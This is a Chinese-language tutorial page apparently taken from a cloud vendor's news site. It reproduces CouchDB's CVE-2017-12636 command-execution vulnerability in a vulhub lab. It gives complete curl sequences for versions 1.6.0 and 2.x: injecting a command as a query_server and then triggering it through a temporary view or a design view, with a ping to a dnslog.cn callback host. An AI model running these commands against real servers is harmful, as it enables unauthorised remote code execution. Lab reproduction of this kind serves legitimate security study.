温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

发布时间:2021-12-29 17:44:27 来源:亿速云 阅读:116 作者:柒染 栏目:安全技术

这期内容当中小编将会给大家带来有关如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。术语 “Couch” 是 “Cluster Of Unreliable Commodity Hardware” 的首字母缩写,它反映了 CouchDB 的目标具有高度可伸缩性,提供了高可用性和高可靠性,即使运行在容易出现故障的硬件上也是如此。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

漏洞影响版本:小于 1.7.0 以及 小于 2.1.1

由于该漏洞利用条件需要登录用户触发,通常配合CVE-2017-12635一起利用

CVE-2017-12635复现文章链接

下面仅作漏洞复现记录与实现,利用流程如下:

1.漏洞环境

目标链接:http://192.168.101.152:5984/

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

访问链接http://192.168.101.152:5984/_utils/如下

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

由于Couchdb 2.x和和1.x的的API接口有所差别,导致利用方式也不同,这里演示版本为1.6.0版本

2.漏洞利用

1.6.0漏洞利用:

依次执行以下命令即可触发

其中vulhub:vulhub为管理员的账户密码

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

curl -X PUT 'http://vulhub:vulhub@192.168.101.152:5984/_config/query_servers/cmd' -d '"ping test.kfqhkz.dnslog.cn"'

curl -X PUT 'http://vulhub:vulhub@192.168.101.152:5984/vultest'

curl -X PUT 'http://vulhub:vulhub@192.168.101.152:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

curl -X POST 'http://vulhub:vulhub@192.168.101.152:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

执行完毕后查看dnslog

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

命令执行成功

2.x漏洞利用如下:

Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问`/_membership`即可:

```
curl http://vulhub:vulhub@your-ip:5984/_membership
```

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

可见,我们这里只有一个node,名字是`nonode@nohost`。

然后,我们修改`nonode@nohost`的配置:

```
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
```

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

然后,与1.6.0的利用方式相同,我们先增加一个Database和一个Document:

```
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
```

Couchdb 2.x删除了`_temp_view`,所以我们为了触发`query_servers`中定义的命令,需要添加一个`_view`:

```
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
```

增加`_view`的同时即触发了`query_servers`中的命令。

上述就是小编为大家分享的如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注亿速云行业资讯频道。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI